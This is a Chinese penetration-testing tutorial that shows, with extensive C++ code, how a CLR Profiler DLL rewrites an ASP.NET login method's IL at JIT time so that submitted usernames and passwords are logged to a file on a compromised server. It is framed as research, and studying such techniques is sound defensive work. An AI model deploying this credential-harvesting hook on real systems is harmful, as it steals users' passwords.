在之前某次渗透测试中,发现一个ASP.NET的站点,通过数据库权限提权拿下系统之后发现站点的密码是经过几次编码和不可逆加密算法存储的。导致无法通过管理员的账号密码登录系统(因为当时是个比较重要的系统,因此需要账号密码来登录后台),因此最后的解决办法就是通过加密算法生成一个新的密码,再写入数据库中来登录。但之后接触到了CLR Profiler,于是想起用这种方式来获取管理员的账号密码,本次文章仅介绍思路以供研究学习。
微软在托管进程启动前会检测是否有设置相应的CLR Profiler API,该API是用于分析运行时进程的上下文情况,在此处我们可以用这种方式来织入我们的恶意代码到其中。当托管进程(应用程序或服务)启动时,将加载公共语言运行时 (CLR)。 初始化 CLR 时,将评估以下两个环境变量以决定进程是否应连接到探查器:
set COR\_PROFILER={32E2F4DA-1BEA-47ea-88F9-C5DAF691C94A}
set COR\_PROFILER="MyProfiler"
下图显示探查器 DLL 如何与所分析应用程序和 CLR 交互。
CLR 在 ICorProfilerCallback (或 ICorProfilerCallback2) 接口中调用方法,以便在探查器已订阅的事件发生时,来通知探查器。 这是 CLR 与探查器进行通信时所使用的主回调接口。
探查器必须实现接口的方法 ICorProfilerCallback 。 对于 .NET Framework 版本2.0 或更高版本,探查器还必须实现 ICorProfilerCallback2 方法。 每个方法实现都必须返回值为 "S_OK" 的 HRESULT,否则失败时 E_FAIL。
可以将ICorProfilerCallback和ICorProfilerCallback2视为通知接口。 这些接口包括 ClassLoadStarted、ClassLoadFinished和 JITCompilationStarted等方法。 每次 CLR 进行加载或卸载类、编译函数等操作时,都会调用探查器的 ICorProfilerCallback 或 ICorProfilerCallback2 接口中的相应方法。
分析中涉及的其他主要界面是 ICorProfilerInfo 和 ICorProfilerInfo2。 探查器根据需要调用这些接口,以获取更多的信息来帮助进行分析。 例如,每当 CLR 调用 FunctionEnter2 函数时,它都会提供函数标识符。 探查器可以通过调用 ICorProfilerInfo2::GetFunctionInfo2 方法来获取有关该函数的详细信息,以发现该函数的父类、名称,等等。
探查器创建最重要的就是ICorProfilerCallback::Initialize 方法,这是CLR应用程序启动时初始化代码探查器的入口。如果两次环境变量检查均通过,CLR 就会以与 COM CoCreateInstance 函数类似的方式创建探查器实例。
HRESULT Initialize(
\[in\] IUnknown \*pICorProfilerInfoUnk
);
pICorProfilerInfoUnk 中指向 IUnknown 接口的指针,探查器必须查询该接口的 ICorProfilerInfo 接口指针。
IUnknown 是每个其他 COM 接口的基接口。 此接口定义三种方法: QueryInterface、 AddRef和Release。 QueryInterface 允许接口用户要求对象指向其接口的另一个接口。 AddRef 和 Release 在接口上实现引用计数。
因此必须要在Initialize方法中通过QueryInterface查询,并通过"ICorProfilerInfo"或"ICorProfilerInfo2"接口指针保存它。
探查器将注册一个 COM 对象。 如果探查器面向 .NET Framework 版本1.0 或1.1,则该 COM 对象只需实现的方法 ICorProfilerCallback 。 如果目标 .NET Framework 版本2.0 或更高版本,则 COM 对象还必须实现的方法 ICorProfilerCallback2。
得到"ICorProfilerInfo"或"ICorProfilerInfo2"接口指针之后,就需要通过ICorProfilerInfo::SetEventMask方法来设置事件通知的类别。
ICorProfilerInfo\* pInfo;
pICorProfilerInfoUnk->QueryInterface(IID\_ICorProfilerInfo, (void\*\*)&pInfo);
pInfo->SetEventMask(COR\_PRF\_MONITOR\_ENTERLEAVE | COR\_PRF\_MONITOR\_GC);
这只能执行一次,并且只能在 Initialize 方法内部执行。稍后从其他函数调用它会导致错误。
注:这些事件的类别可以从https://docs.microsoft.com/zh-cn/dotnet/framework/unmanaged-api/profiling/cor-prf-monitor-enumeration得到。
为了方便读者理解CLR Profiler的编写过程,这里再参杂一些COM编程的基础,方便让读者知道为什么代码需要这么写,但如果你是大神,请跳过这一章节。
所有的COM接口都继承了IUnknown,每个接口的vtbl中的前三个函数都是QueryInterface、AddRef、Release。这样所有COM接口都可以被当成IUnknown接口来处理。
interface IUnknown
{
virtual HRESULT \_\_stdcall QueryInterface(const IID& iid, void\*\* ppv) = 0;
virtual ULONG \_\_stdcall AddRef() = 0;
virtual ULONG \_\_stdcall Release() = 0;
};
IUnknown中包含一个名称为QueryInterface的成员函数,客户可以通过此函数来查询某组件是否支持某个特定的接口。若支持,QueryInterface函数将返回一个指向此接口的指针,否则,返回值将是一个错误代码。
第一个参数客户欲查询的接口的标识符。一个标识所需接口的常量
第二个参数是存放所请求接口指针的地址
返回值是一个HRESULT值。查询成功返回S_OK,如果不成功则返回相应错误码。
然后再来熟悉几个COM调用过程中常见的对象:
(1)CoCreateInstance
Creates and default-initializes a single object of the class associated with a specified CLSID.
其实他封装了如下功能:
CoCreateInstance(....){
//.......
IClassFactory *pClassFactory=NULL;
CoGetClassObject(CLSID_Object, CLSCTX_INPROC_SERVER, NULL, IID_IClassFactory, (void **)&pClassFactory);
pClassFactory->CreateInstance(NULL, IID_IUnknown, (void**)&pUnk);
pClassFactory->Release();
//........
}
(2)CoGetClassObject
将在注册表中查找指定的组件。找到之后,它将装载实现此组件的DLL,装载成功之后,它将调用在DLL服务器中实现的DllGetClassObject。
(3)DllGetClassObject
Retrieves the class object from a DLL object handler or object application.
我们之后会在这里创建对应的IClassFactory的类工厂,并通过QueryInterface查询其IClassFactory接口实例,并将其返回给CoCreateInstance。
(4)IClassFactory
Enables a class of objects to be created.
通过DllGetClassObject函数获取到指向类对象的IClassFactory接口指针后,再调用此接口实现的IClassFactory::CreateInstance函数来创建指定的组件对象。
(5)IClassFactory::CreateInstance
IClassFactory::CreateInstance调用了new操作符来创建指定的组件,并查询组件的IX接口。
HRESULT STDMETHODCALLTYPE ClassFactory::CreateInstance(IUnknown \*pUnkOuter, REFIID riid, void \*\*ppvObject)
{
if (pUnkOuter != nullptr)
{
\*ppvObject = nullptr;
return CLASS\_E\_NOAGGREGATION;
}
CorProfiler\* profiler = new CorProfiler(); //实现的组件
if (profiler == nullptr)
{
return E\_FAIL;
}
return profiler->QueryInterface(riid, ppvObject);
}
HRESULT STDMETHODCALLTYPE ClassFactory::LockServer(BOOL fLock)
{
return S\_OK;
}
这里我找到网上一张图片来解释该步骤
详细调用过程为:
//客户调用COM流程:
CoCreateInstace(rclsid,NULL,dwClsContext,IID\_IX,(void\*\*)&pIX); //IX\* pIX
|--> CoGetClassObject(rclsid, dwClsContext, NULL, IID\_IClassFactory, &pCF) //IClassFactory\* pCF
|--> DllGetClassObject(rclsid,IID\_IClassFactory,&pCF)
|--> CFactory\* pFactory = new CFactory();
|--> pFactory->QueryInterface(IID\_IClassFactory,&pCF); //返回类场指针IClassFactory\* pCF
|--> pCF->CreateInstance(pUnkOuter, IID\_IX, &pIX); //IX\* pIX 组件接口指针pIX
pIX->Fx();
通知探查器开始JIT编译就需要用到ICorProfilerCallback::JITCompilationStarted方法。
HRESULT JITCompilationStarted(
\[in\] FunctionID functionId,
\[in\] BOOL fIsSafeToBlock
);
functionId是要开始织入的目标函数ID;
fIsSafeToBlock是指示探查器是否会影响运行时的操作的值。
当 IL 代码即将被 JIT 转换为本机代码时,所有托管方法都会调用该回调。这是我们进行一些 IL 重写的机会。
我们从 JITCompilationStarted 回调中得到的是一个 FunctionID。通过使用 FunctionID 作为参数,ICorProfilerInfo::GetFunctionInfo可以获得它的ClassID和ModuleID。
ICorProfilerInfo::GetModuleInfo使用ModuleID将返回其Module名称和其AssemblyID。
GetTokenAndMetadataFromFunction函数的第三个参数可以设置成IMetaDataImport对象,此接口用于在元数据中进行查找。例如,可以遍历一个类的所有方法,或者找到一个类的父类或接口。
例如如下示例:
mdTypeDef classTypeDef;
WCHAR functionName\[MAX\_LENGTH\];
WCHAR className\[MAX\_LENGTH\];
PCCOR\_SIGNATURE signatureBlob;
ULONG signatureBlobLength;
DWORD methodAttributes \= 0;
Check(metaDataImport\->GetMethodProps(token1, &classTypeDef, functionName, MAX\_LENGTH, 0, &methodAttributes, &signatureBlob, &signatureBlobLength, NULL, NULL));
Check(metaDataImport\->GetTypeDefProps(classTypeDef, className, MAX\_LENGTH, 0, NULL, NULL));
metaDataImport\->Release();
上述执行完成后就能获取当前触发JITCompilationStarted的函数名称和类名。
之前已经介绍了基础知识,现在就开始编写对应的织入程序。
首先就是Profiler的初始化函数
RESULT STDMETHODCALLTYPE CorProfiler::Initialize(IUnknown \*pICorProfilerInfoUnk)
{
HRESULT queryInterfaceResult \= pICorProfilerInfoUnk->QueryInterface(\_\_uuidof(ICorProfilerInfo7), reinterpret\_cast<void \*\*>(&this\->corProfilerInfo));
if (FAILED(queryInterfaceResult))
{
return E\_FAIL;
}
DWORD eventMask \= COR\_PRF\_MONITOR\_JIT\_COMPILATION |
COR\_PRF\_DISABLE\_TRANSPARENCY\_CHECKS\_UNDER\_FULL\_TRUST | /\* helps the case where this profiler is used on Full CLR \*/
COR\_PRF\_DISABLE\_INLINING ;
auto hr \= this\->corProfilerInfo->SetEventMask(eventMask);
return S\_OK;
}
这块就是根据微软官方文档所述
pICorProfilerInfoUnk 中指向 IUnknown 接口的指针,探查器必须查询该接口的 ICorProfilerInfo 接口指针。
得到"ICorProfilerInfo"或"ICorProfilerInfo2"接口指针之后,就需要通过ICorProfilerInfo::SetEventMask方法来设置事件通知的类别。
之后就看到我们的主角ICorProfilerCallback::JITCompilationStarted函数的实现
HRESULT STDMETHODCALLTYPE CorProfiler::JITCompilationStarted(FunctionID functionId, BOOL fIsSafeToBlock)
{
HRESULT hr;
mdToken token;
ClassID classId;
ModuleID moduleId;
IfFailRet(this\->corProfilerInfo->GetFunctionInfo(functionId, &classId, &moduleId, &token));
if (!CheckProcessName(this\->corProfilerInfo, moduleId)) {
return S\_OK;
}
CComPtr<IMetaDataImport> metadataImport;
IfFailRet(this\->corProfilerInfo->GetModuleMetaData(moduleId, ofRead | ofWrite, IID\_IMetaDataImport, reinterpret\_cast<IUnknown \*\*>(&metadataImport)));
CComPtr<IMetaDataEmit> metadataEmit;
IfFailRet(metadataImport\->QueryInterface(IID\_IMetaDataEmit, reinterpret\_cast<void \*\*>(&metadataEmit)));
mdSignature enterLeaveMethodSignatureToken;
metadataEmit\->GetTokenFromSig(enterLeaveMethodSignature, sizeof(enterLeaveMethodSignature), &enterLeaveMethodSignatureToken);
IMetaDataImport\* metaDataImport = NULL;
mdToken token1 \= NULL;
IfFailRet(this\->corProfilerInfo->GetTokenAndMetaDataFromFunction(functionId, IID\_IMetaDataImport, (LPUNKNOWN \*)&metaDataImport, &token1));
const int MAX\_LENGTH = 1024;
mdTypeDef classTypeDef;
WCHAR functionName\[MAX\_LENGTH\];
WCHAR className\[MAX\_LENGTH\];
PCCOR\_SIGNATURE signatureBlob;
ULONG signatureBlobLength;
DWORD methodAttributes \= 0;
IfFailRet(metaDataImport\->GetMethodProps(token1, &classTypeDef, functionName, MAX\_LENGTH, 0, &methodAttributes, &signatureBlob, &signatureBlobLength, NULL, NULL));
IfFailRet(metaDataImport\->GetTypeDefProps(classTypeDef, className, MAX\_LENGTH, 0, NULL, NULL));
metaDataImport\->Release();
WCHAR wcs\[MAX\_LENGTH \* 2\];
wcscpy(wcs, className);
wcscat(wcs, L".");
wcscat(wcs, functionName);
if (wcscmp(L"WebApplication1.Controllers.HelloController.Login", wcs) == 0) {
return RewriteIL(this\->corProfilerInfo, nullptr, moduleId, token, functionId, reinterpret\_cast<ULONGLONG>(EnterMethodAddress), reinterpret\_cast<ULONGLONG>(LeaveMethodAddress), enterLeaveMethodSignatureToken);
}
else {
return S\_OK;
}
}
函数刚开始的时候通过GetFunctionInfo函数获取到了对应的ModuleID,并通过CheckProcessName函数进行验证。
bool CheckProcessName(ICorProfilerInfo7\* corProfilerInfo, ModuleID moduleId) {
const int MAX\_LENGTH = 1024;
WCHAR moduleName\[MAX\_LENGTH\];
AssemblyID assemblyID;
AppDomainID appId;
ULONG buffSize \= 0;
ProcessID processId;
char szOutBuf\[MAX\_PATH\] = { 0 };
GetEnvironmentVariable(\_T("GODWIND\_PROFILER\_PROCESSES"), szOutBuf, MAX\_PATH - 1);
WCHAR processName\[MAX\_LENGTH\];
mbstowcs(processName, szOutBuf, sizeof(szOutBuf) - 1); //char to wchar\_t
Check(corProfilerInfo\->GetModuleInfo(moduleId, NULL, MAX\_LENGTH, 0, moduleName, &assemblyID));
WCHAR assemblyName\[MAX\_LENGTH\];
Check(corProfilerInfo\->GetAssemblyInfo(assemblyID, MAX\_LENGTH, 0, assemblyName, &appId, NULL));
Check(corProfilerInfo\->GetAppDomainInfo(appId, 0, &buffSize, NULL, NULL));
WCHAR szName\[MAX\_LENGTH\];
Check(corProfilerInfo\->GetAppDomainInfo(appId, buffSize, &buffSize, szName, &processId));
if(wcscmp(szName, processName) == 0){
return true;
}
else {
return false;
}
}
该函数的具体内容就是获取系统环境变量GODWIND_PROFILER_PROCESSES的值,并通过GetAppDomainInfo返回的szName目标程序进程名和GODWIND_PROFILER_PROCESSES的值比较。如果相等就执行之后的步骤,否则就返回S_OK标志。
再往之后看:
mdTypeDef classTypeDef;
WCHAR functionName\[MAX\_LENGTH\];
WCHAR className\[MAX\_LENGTH\];
PCCOR\_SIGNATURE signatureBlob;
ULONG signatureBlobLength;
DWORD methodAttributes \= 0;
IfFailRet(metaDataImport\->GetMethodProps(token1, &classTypeDef, functionName, MAX\_LENGTH, 0, &methodAttributes, &signatureBlob, &signatureBlobLength, NULL, NULL));
IfFailRet(metaDataImport\->GetTypeDefProps(classTypeDef, className, MAX\_LENGTH, 0, NULL, NULL));
metaDataImport\->Release();
WCHAR wcs\[MAX\_LENGTH \* 2\];
wcscpy(wcs, className);
wcscat(wcs, L".");
wcscat(wcs, functionName);
if (wcscmp(L"WebApplication1.Controllers.HelloController.Login", wcs) == 0) {
return RewriteIL(this\->corProfilerInfo, nullptr, moduleId, token, functionId, reinterpret\_cast<ULONGLONG>(EnterMethodAddress), reinterpret\_cast<ULONGLONG>(LeaveMethodAddress), enterLeaveMethodSignatureToken);
}
else {
return S\_OK;
}
之前说到过GetMethodProps这种方式可以获取当前JIT加载的函数的名称和对应的类名,我这里讲两个字符串拼接完成之后与L"WebApplication1.Controllers.HelloController.Login"比较。
如果相等,就说明当前的functionID对应的就是我们需要织入的WebApplication1.Controllers.HelloController.Login函数。
然后带入到RewriteIL函数中进行IL字节码操作,这里织入的对象是我自己写的一个函数。
static void STDMETHODCALLTYPE Leave(char\* arg0)
{
FILE \*fp = NULL;
fp \= fopen("E:\\\\GetRequstInfo.txt", "a+");
fprintf(fp, "\\r\\narg0: %s \\r\\n", arg0);
fclose(fp);
}
COR\_SIGNATURE enterLeaveMethodSignature\[\] \= { IMAGE\_CEE\_CS\_CALLCONV\_STDCALL, 0x01, ELEMENT\_TYPE\_VOID, ELEMENT\_TYPE\_STRING };
void(STDMETHODCALLTYPE \*LeaveMethodAddress)(char\*) = &Leave;
这里我需要重点说一下enterLeaveMethodSignature数组,这个数组是对你织入的函数的描述,在之后的织入中必不可少
第一个值是他的调用方式stdcall
第二个值代表他有多少个参数,这里只有一个char* arg0参数,所以数值是1
第三个值代表返回void类型
第四个值就是参数类型,这里是String的类型,如果第二个值是2,则数组的第五个值也得写上对应的参数类型,但是我们没有两个参数,因此数组只有四个值。
最后通过IMetaDataEmit::GetTokenFromSig函数获取对应元数据签名
关于数组里的这些值该如何设置,可以从微软的官网上找到:https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/metadata/corelementtype-enumeration
因此之后带入RewriteIL中的LeaveMethodAddress就是我要织入的函数,跟进函数查看:
HRESULT RewriteIL(
ICorProfilerInfo \* pICorProfilerInfo,
ICorProfilerFunctionControl \* pICorProfilerFunctionControl,
ModuleID moduleID,
mdMethodDef methodDef,
FunctionID functionId,
UINT\_PTR enterMethodAddress,
UINT\_PTR exitMethodAddress,
ULONG32 methodSignature)
{
ILRewriter rewriter(pICorProfilerInfo, pICorProfilerFunctionControl, moduleID, methodDef);
IMetaDataImport\* metaDataImport = NULL;
mdToken token1 \= NULL;
IfFailRet(pICorProfilerInfo\->GetTokenAndMetaDataFromFunction(functionId, IID\_IMetaDataImport, (LPUNKNOWN \*)&metaDataImport, &token1));
IfFailRet(rewriter.Import());
{
IfFailRet(AddExitProbe(metaDataImport, &rewriter, functionId, exitMethodAddress, methodSignature));
}
IfFailRet(rewriter.Export());
return S\_OK;
}
获取到对应的metaDataImport对象后,带入到AddExitProbe函数,之后就是操作IL织入代码的地方,在这之前先来看看我们要织入的程序代码是什么样子的。
源C#代码:
中间语言IL代码:
所以我织入的思路就是在IL_0016和IL_0017之间织入如下代码:
ldloc.0
ldc.i4 num //function address
calli
nop
如此一来,刚才IL_0016上的stloc.0的返回值继续压栈成参数并调用我们的函数,就能够完成我们获取目标传参的内容,所以之前的AddExitProbe函数的实现如下:
HRESULT AddExitProbe(
IMetaDataImport\* metaDataImport,
ILRewriter \* pilr,
FunctionID functionId,
UINT\_PTR methodAddress,
ULONG32 methodSignature)
{
HRESULT hr;
BOOL fAtLeastOneProbeAdded \= FALSE;
// Find all RETs, and insert a call to the exit probe before each one.
for (ILInstr \* pInstr = pilr->GetILList()->m\_pNext; pInstr != pilr->GetILList(); pInstr = pInstr->m\_pNext)
{
switch (pInstr->m\_opcode)
{
case CEE\_CALLVIRT:{
const int MAX\_LENGTH = 1024;
WCHAR szString\[MAX\_LENGTH\];
ULONG \*pchString = 0;
if (pInstr->m\_Arg64 == 167772219) { //0xa00003b string \[System\]System.Collections.Specialized.NameValueCollection::get\_Item(string)
IfFailRet(metaDataImport\->GetUserString((mdString)pInstr->m\_pPrev->m\_Arg64, szString, MAX\_LENGTH, pchString));
pInstr \= pInstr->m\_pNext;
pilr\->GetILList();
pInstr \= pInstr->m\_pNext;
pilr\->GetILList();
ILInstr \* pNewInstr = pilr->NewILInstr();
pNewInstr \= pilr->NewILInstr();
if(wcsstr(szString,L"username")){
pNewInstr\->m\_opcode = CEE\_LDLOC\_0; //ldloc.0
}
else if (wcsstr(szString, L"password")) {
pNewInstr\->m\_opcode = CEE\_LDLOC\_1; //ldloc.1
}
else {
return S\_OK;
}
pilr\->InsertBefore(pInstr, pNewInstr);
constexpr auto CEE\_LDC\_I \= sizeof(size\_t) == 8 ? CEE\_LDC\_I8 : sizeof(size\_t) == 4 ? CEE\_LDC\_I4 : throw std::logic\_error("size\_t must be defined as 8 or 4");
pNewInstr \= pilr->NewILInstr();
pNewInstr\->m\_opcode = CEE\_LDC\_I; //push function address
pNewInstr->m\_Arg64 = methodAddress;
pilr\->InsertBefore(pInstr, pNewInstr);
pNewInstr \= pilr->NewILInstr();
pNewInstr\->m\_opcode = CEE\_CALLI; //calli
pNewInstr->m\_Arg32 = methodSignature;
pilr\->InsertBefore(pInstr, pNewInstr);
pNewInstr \= pilr->NewILInstr();
pNewInstr\->m\_opcode = CEE\_NOP; //nop
pilr->InsertBefore(pInstr, pNewInstr);
fAtLeastOneProbeAdded \= TRUE;
}
break;
}
default:
break;
}
}
if (!fAtLeastOneProbeAdded)
return E\_FAIL;
return S\_OK;
}
其中pInstr->m_Arg64 == 167772219的167772219值是提前遍历过一遍才知道该函数对应的MethodToken。
同时,因为我是要织入在IL_0017前面,这个指针相当于我switch-case中设定的callvirt的偏移后两个节点,因此需要在代码中调用两次pInstr = pInstr->m_pNext;
最终成果图:
Gitee仓库地址:https://gitee.com/leiothrix/ILRewriterProfiler